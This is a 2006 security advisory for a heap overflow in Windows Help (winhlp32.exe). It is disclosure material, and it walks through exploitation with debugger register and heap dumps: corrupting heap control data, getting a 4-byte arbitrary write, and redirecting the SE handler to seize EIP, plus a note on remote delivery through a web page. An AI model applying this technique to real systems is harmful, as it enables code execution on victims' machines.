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Posted Apr 1, 2006
Authored by c0ntex | Site open-security.org

There is a heap based buffer overflow in the rendering engine of .hlp files in winhlp32.exe which will allow some attacker the possibility of modifying the internal structure of the process with a means to execute arbitrary and malicious code.

tags | advisory, overflow, arbitrary
SHA-256 | c4259db39f4aff91e94ff092f7458b43487c81c6812534536180b76496dff498


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$ An open security advisory #15 - Windows Help Heap Overflow
1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com -+- www.open-security.org
2: Bug Released: March 31st 2006
3: Bug Impact Rate: Undefined
4: Bug Scope Rate: Local / Remote in cases
$ This advisory and/or proof of concept code must not be used for commercial gain.

Windows Help

There is a heap based buffer overflow in the rendering engine of .hlp files in winhlp32.exe which will allow some
attacker the possibility of modifying the internal structure of the process with a means to execute arbitrary and
malicious code.

By modifying the value of an image embedded within a .hlp file, (tested with ? image and [] button images) it is
possible to trigger this bug and overflow a static buffer that is defined for data sections of the .hlp file. This
grants the attacker with the ability to perform an overwrite of block(n) and the following blocks control data.

I thought this was an april fools but it's a day too early :) Microsoft decide to reject this issue as Windows Help
is a scriptable environment and as such should not be trusted, as a malicious person could add this said "script"
to .hlp files which would execute "stuff" on the users system. Therefor I release this Heap Overflow as another
untrustable issue with this Microsoft product.

I met some Microsoft Security Auditor guys at Blackhat, Alex and some dude called Skylined --- sorry that I didnt
mention this bug or the one in hh.exe and t3h ebUl.chm, I was selling out to get IDefense bug bounty, but alas it
back fired. I could have done with $10000 but ho hum, you win some you loose some :-)


// Example vulnerable section of a .hlp file ( I used acmsetup.hlp in this example) :
......snip .....
............. ..
% ....3.@=......

// One with malicious input 'inserted' to trigger the bug:
............. ..
plus 10,000 more

After winhlp32.exe opens the .hlp file, the heap state will be as follows:

HEAP[winhlp32.exe]: Heap block at 0009B940 modified at 0009B9A2 past requested size of 5a
0:000> dd 0009b940
0009b940 0005000f 001e0700 4f26001f 41697470
0009b950 41414141 abababab 41ababab feeefeee
0009b960 4100feee 41414141 00040000 41000005
0009b970 554d001b 41002928 41414141 feababab
0009b980 4100feee 00000000 41060000 41414141
0009b990 6f42001f 416d6b6f 65446b72 416e6966
0009b9a0 41414141 abababab 41ababab feeefeee
0009b9b0 4100feee 00004141 000f0006 feee0400

HEAP[winhlp32.exe]: Invalid Address specified to RtlFreeHeap( 00090000, 0009B948 )
(728.2f8): Break instruction exception - code 80000003 (first chance)
eax=0009b940 ebx=0009b940 ecx=77f75c17 edx=0007ecba esi=00090000 edi=0009b940
eip=77f75a58 esp=0007eec4 ebp=0007eed8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000202
0:000> dd 0009B948
0009b948 4f26001f 41697470 41414141 abababab
0009b958 41ababab feeefeee 4100feee 41414141
0009b968 00040000 41000005 554d001b 41002928
0009b978 41414141 feababab 4100feee 00000000
0009b988 41060000 41414141 6f42001f 416d6b6f
0009b998 65446b72 416e6966 41414141 abababab
0009b9a8 41ababab feeefeee 4100feee 00004141
0009b9b8 000f0006 00230400 000901a8 000901a8

HEAP[winhlp32.exe]: Heap block at 0009BE50 modified at 0009BF54 past requested size of fc
0:000> dd 0009BE50
0009be50 00180023 001c0700 02390006 007a0000
0009be60 00000000 02b30000 00280000 000e0000
0009be70 000d0000 00010000 00000004 00000000
0009be80 00000000 005a0000 00100000 00000000
0009be90 00000000 00000000 80000080 80000000
0009bea0 00800080 00800000 80800080 41410000
0009beb0 41414141 41414141 41414141 41414141
0009bec0 41414141 41414141 41414141 41414141

Here we can see we have overwritten the end of the previous chunk at 0009be54 and over the control section of the
next following chunks

0:000> dd 0009BF54
0009bf54 41414141 41414141 41414141 41414141
0009bf64 41414141 41414141 41414141 41414141
0009bf74 41414141 41414141 41414141 41414141
0009bf84 41414141 41414141 41414141 41414141
0009bf94 41414141 41414141 41414141 41414141
0009bfa4 41414141 41414141 41414141 41414141
0009bfb4 41414141 41414141 41414141 41414141
0009bfc4 41414141 41414141 41414141 41414141

This situation provides a 4-byte arbitrary memory overwrite due to the fact that we directly control two pointers
in the heaps management structure:

EAX 41414141
ECX 41414141
EBX 00090000
ESP 0007F90C
EBP 0007FB30
EDI 00000068
EIP 77F581BD ntdll.77F581BD

"The instruction at "0x77f581bd" referenced memory at "0x41414141". The memory could not be "written"

(dc.cc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

eax=41414141 ebx=0000003f ecx=41414141 edx=0009bf68 esi=0009bf68 edi=00090000
eip=77f581bd esp=0007e684 ebp=0007e89c iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010246
77f581bd 8901 mov [ecx],eax ds:0023:41414141=????????

> 77f581bd 8901 MOV DWORD PTR DS:[ECX],EAX
> 77f581bf 8948 04 MOV DWORD PTR DS:[EAX+4],ECX

Analysing the heap state afterwards, we can see we are able to modify the heap structures with user supplied input,
which will grant the attacker the possibility of overwriting 4 bytes of writable memory with user supplied values.

We can see that we have a classic heap overflow and can now either perform an overwrite of _VECTORED_EXCEPTION_NODE,
UnhandledExceptionFilter or RtlEnterCriticalSection amongst other locations, which will return us back to malicious
code and execute it for us. Another simple, useful option is to simply hijack the applications SE Handler directly
which will allow us to gain control of the process in the same manner.

* set ecx -> Top SE handler address
* set eax -> Set EAX to a pointer to our supplied input (0x0009E7B2)

...which will result in EIP being owned here after continuing:

EAX 00000000
ECX 0009E7B2
EDX 77FB1742 ntdll.77FB1742
EBX 00000000
ESP 0007E2B8
EBP 0007E2D8
ESI 00000000
EDI 00000000
EIP 0009E7B6 ---> what ever is here will be executed ( our supplied data is :) )

However, we are not going to do that, instead we are going to target a different stack pointer @ ntdll.77F51C48.
Running winhlp32.exe in Olly, we set the argument as the malicious.hlp file and run it, eventually it will die here:

77F8452F 8948 04 MOV DWORD PTR DS:[EAX+4],ECX

And the registers will have the following setup after the crash:

EAX 74747474
ECX 74747474
EBX 0000003F
ESP 0007E684
EBP 0007E89C
EDI 00090000
EIP 77F8452D ntdll.77F8452D

Now, the stack location we are interested in looks like so at this point:

0007E88C 0007E910 Pointer to next SEH record
0007E890 77FA88F0 SE handler
0007E894 77F51C48 ntdll.77F51C48 <<------------- Our victim

We then set EAX (which is user controlled) to -4 the attacked location 0007E894, and when MOV [EAX+4],ECX happens, we
shall overwrite our target. We now set ECX to a pointer to our controllable input, a few bytes past all those t's to
get to our pot of honey:

EAX 0007E890
EBX 0000003F
ESP 0007E684
EBP 0007E89C
EDI 00090000
EIP 77F8452D ntdll.77F8452D

..we then continue the process and pass the exception to the application, which after dealing with we end up with our
registers looking like so:

EAX 0009BEB8
ECX 77F75C17 ntdll.77F75C17
EDX 0007E474
EBX 0003A390
ESP 0007E678
EBP 0007E89C
ESI 0009BEB8
EDI 00000000
EIP 77F75A59 ntdll.77F75A59

...and, our stack location where the victim is laying will be looking like so:

0007E88C 0007E910 Pointer to next SEH record
0007E890 77FA88F0 SE handler
0007E894 0009BED8 <<---------------- Here we go!

great, we have modified our victim pointer with our nasty address, which is now pointing in to our pot of honey!! We
then continue the process again and let the application deal with the exception, and after a second we have control of
our application:

EAX 0007E298
ECX 00000003
EDX 77FB1742 ntdll.77FB1742
EBX 0007E88C
ESP 0007E27C
EBP 0007E89C
ESI 00000001
EDI 0009BED8
EIP 41414141

It should be possible to perform this attack remotly by embedding the .hlp file into an HTML page and tricking a
user to click the link, granting remote access to the system with the permissions of the user who executed the help

regards, c0ntex
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